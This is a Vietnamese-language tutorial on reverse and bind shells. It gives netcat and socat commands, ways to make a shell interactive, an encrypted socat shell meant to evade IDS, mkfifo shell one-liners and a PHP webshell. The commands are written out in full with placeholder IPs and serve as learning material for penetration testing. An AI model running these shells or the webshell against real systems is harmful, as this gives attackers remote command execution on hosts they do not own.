Introduction
Shell là chương trình dùng để tương tác với môi trường dòng lệnh. Ví dụ:
- Linux: bash hoặc sh.
- Windows: cmd.exe hoặc PowerShell.
Tools
Một số công cụ dùng để nhận reverse shell hoặc gửi bind shell (sẽ bàn đến ở phần các loại shell):
- Netcat1.
- Socat: tương tự netcat nhưng có cú pháp khó hơn và thường không được cài đặt mặc định.
- Metasploit Venom: thuộc Metasploit nhưng nó được cung cấp dưới dạng một tool độc lập. Thường được dùng để tạo ra các reverse hay bind shell.
- Metasploit Multi-Handler: dùng để nhận reverse shell.
Một số cheatsheet:
Type of Shells
Có hai loại shell được dùng để thực hiện khai thác:
- Khi shell ở trên remote server kết nối đến máy chúng ta thì đó được gọi là reverse shell. Để nhận reverse shell, ta cần phải cấu hình network để chấp nhận kết nối. Reverse shell hữu ích khi ta cần bypass firewall ở trên một số port.
- Còn nếu server mở một port mà chúng ta có thể kết nối đến để thực thi những lệnh tùy ý từ xa (Remote Code Execution) thì được gọi là bind shell. Với bind shell, ta không cần phải cấu hình network nhưng có thể bị chặn bởi tường lửa.
Reverse Shell with Netcat
Trong hình dưới, bên trái là attacking machine và bên phải là target machine:
Để thực thi lệnh trên target machine thì ta cần sử dụng Command Injection.
Câu lệnh để start server ở attacking machine:
sudo nc -lvnp <PORT>
Và câu lệnh để kết nối đến bash shell bằng netcat ở trên target machine là:
nc <IP> <PORT> -e /bin/bash
Bind Shell with Netcat
Tương tự, bên trái là attacker’s machine và bên phải là target machine:
Trong ví dụ này, hệ điều hành ở phía target machine là Windows và ta sẽ dùng cmd.exe. Câu lệnh khởi chạy server ở trên target machine có dạng như sau:
nc -lvnp <PORT> -e cmd.exe
Câu lệnh kết nối từ attacking machine:
nc <IP> <PORT> -e cmd.exe
Interactive and Non-interactive
Shell và các chương trình có thể chia thành hai loại:
- Interactive: cần sự tương tác của người dùng để hoạt động. Đa số các loại shell phổ biến chẳng hạn như PowerShell, Bash, Zsh hay sh đều là interactive shell.
- Non-interactive: không cần sự tương tác của người dùng.
Một chương trình interactive, chẳng hạn như SSH, cần phải được thực thi ở trên một interactive shell.
Còn đối với non-interactive shell, chẳng hạn như netcat server shell, ta chỉ có thể sử dụng các chương trình non-interactive chẳng hạn như whoami
.
Tuy nhiên, nếu ta sử dụng chương trình interactive ở trên non-interactive shell, output của nó có thể không được hiển thị. Điều ngược lại không đúng.
Make Netcat Interactive
Shell của netcat server là một non-interactive shell. Để thay bằng interactive shell, ta có thể áp dụng những kỹ thuật sau:
Technique 1
Thực hiện các bước sau (trên Linux):
-
Trên target machine, kết nối đến server với lệnh sau:
nc <IP> <PORT> -e /bin/bash
-
Chạy câu lệnh sau ở phía server:
python3 -c 'import pty;pty.spawn("/bin/bash")'
Câu lệnh này giúp cho output của shell có định dạng tốt hơn.
-
Chạy câu lệnh:
export TERM=xterm
Câu lệnh này cho phép thực thi những “term command” chẳng hạn như
clear
. -
Sử dụng tổ hợp phím CTRL + Z để đưa shell về chế độ chạy nền. Sau đó chạy câu lệnh:
stty raw -echo; fg
Câu lệnh này làm hai thứ:
- Tắt những chức năng chẳng hạn như tab autocompletion, các phím mũi tên và CTRL + C.
- Chuyển shell về chế độ chạy foreground.
Minh họa toàn bộ quá trình:
Trong trường hợp shell bị shutdown, tất cả những input nhập vào đều sẽ bị vô hình. Khi đó, nhập reset
và nhấn enter.
Technique 2
Sử dụng netcat làm bước đệm để dùng socat.
Nếu target machine không có socat thì ta cần chuyển tập tin socat static compiled binary cho target machine. Có thể thực hiện điều này bằng cách host một webserver như sau:
python3 -m http.server 80
Sau đó, ở target machine, ta gọi lệnh wget
để tải về tập tin mà ta đã host ở trên webserver.
Tip
Để chỉnh sửa các kích thước hiển thị của terminal, ta dùng các câu lệnh sau:
stty rows [number]
: chỉnh số dòng.stty cols [number]
: chỉnh số cột.
Socat
Chức năng chính của socat là giúp tạo kết nối giữa hai điểm. Có thể là một listening port và keyboard hay hai listening port.
Để sử dụng được interactive shell với socat, ta cần khởi chạy server với các option như sau:
sudo socat TCP-L:[port] FILE:`tty`,raw,echo=0
Kết nối đến socat server được khởi chạy ở trên như sau:
socat tcp:[ip]:[port] EXEC:"bash -li",pty,stderr,sigint,setsid,sane
Với Windows thì câu lệnh chạy server là:
socat TCP-L:[port] EXEC:powershell.exe,pipes
Và câu lệnh kết nối đến server là:
socat TCP:[ip]:[port] EXEC:powershell.exe,pipes
Giải thích:
- Ta kết nối đến socat server ở attaker’s machine có địa chỉ IP là
attacker-ip
và port làattacker-port
. - Phần tiếp theo của câu lệnh (
EXEC:"bash -li"
) giúp tạo ra một interactive BASH session. - Các option thiết lập:
pty
,stderr
,sigint
,setsid
vàsane
.
Minh họa:
Encrypted Shell
Socat cho phép tạo ra các shell được mã hóa và có thể bypass được IDS. Chúng ta chỉ đơn giản là thay giao thức TCP thành OPENSSL.
Đầu tiên, ta cần tạo ra chứng chỉ ở trên attacking machine:
openssl req --newkey rsa:2048 -nodes -keyout encrypt.key -x509 -days 362 -out encrypt.crt
Ta cần hợp nhất file encrypt.key
và encrypt.crt
lại thành một file:
cat encrypt.key encrypt.crt > encrypt.pem
Ta thiết lập socat server như sau:
sudo socat OPENSSL-LISTEN:<PORT>,cert=encrypt.pem,verify=0 -
Option verify=0
giúp bỏ qua bước xác thực chứng chỉ.
Kết nối đến socat server:
socat OPENSSL:<IP>:<PORT>,verify=0 EXEC:/bin/bash
Common Shell Payloads
Một số phiên bản của netcat ở trên Linux không hỗ trợ flag -e
để chạy một tiến trình cụ thể nào đó (vì việc này không an toàn). Khi đó, ta có thể dùng câu lệnh sau nếu muốn chạy một server và khởi chạy shell:
mkfifo /tmp/f; nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
Hoặc nếu muốn kết nối đến tiến trình shell ở netcat server thì dùng lệnh sau:
mkfifo /tmp/f; nc <LOCAL-IP> <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
Chúng ta có thể tìm kiếm các payload để tạo ra các loại reverse shell hoặc bind shell phù hợp ở Payload All the Things.
Webshell
Có một số trường hợp mà website không cho phép ta upload một file có thể thực thi để tạo ra reverse hay bind shell, khi đó ta có thể tải lên một webshell.
Webshell là những tập tin ở trên webserver mà có chứa các đoạn script mà có thể thực thi các câu lệnh của hệ điều hành.
Đoạn script phổ biến để thực thi những câu lệnh viết bằng PHP là:
<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>
Với cmd
là query parameter và shell_exec
là hàm dùng để thực thi câu lệnh. Thẻ <pre>
dùng để giữ nguyên định dạng của output khi hiển thị ra giao diện.
Ta upload lên server một webshell có đoạn script trên và gửi request đến webshell với giá trị của cmd
là câu lệnh mà ta muốn thực thi, chẳng hạn ifconfig
như hình bên dưới:
Đối với hệ điều hành Windows, để tạo ra reverse shell, ta có thể sử dụng payload PowerShell Reverse Shell.
Chú ý thông tin về IP và PORT cần phải được thay đổi ở trong payload trên sao cho phù hợp cũng như là cần phải url encode trước khi đặt vào query parameter.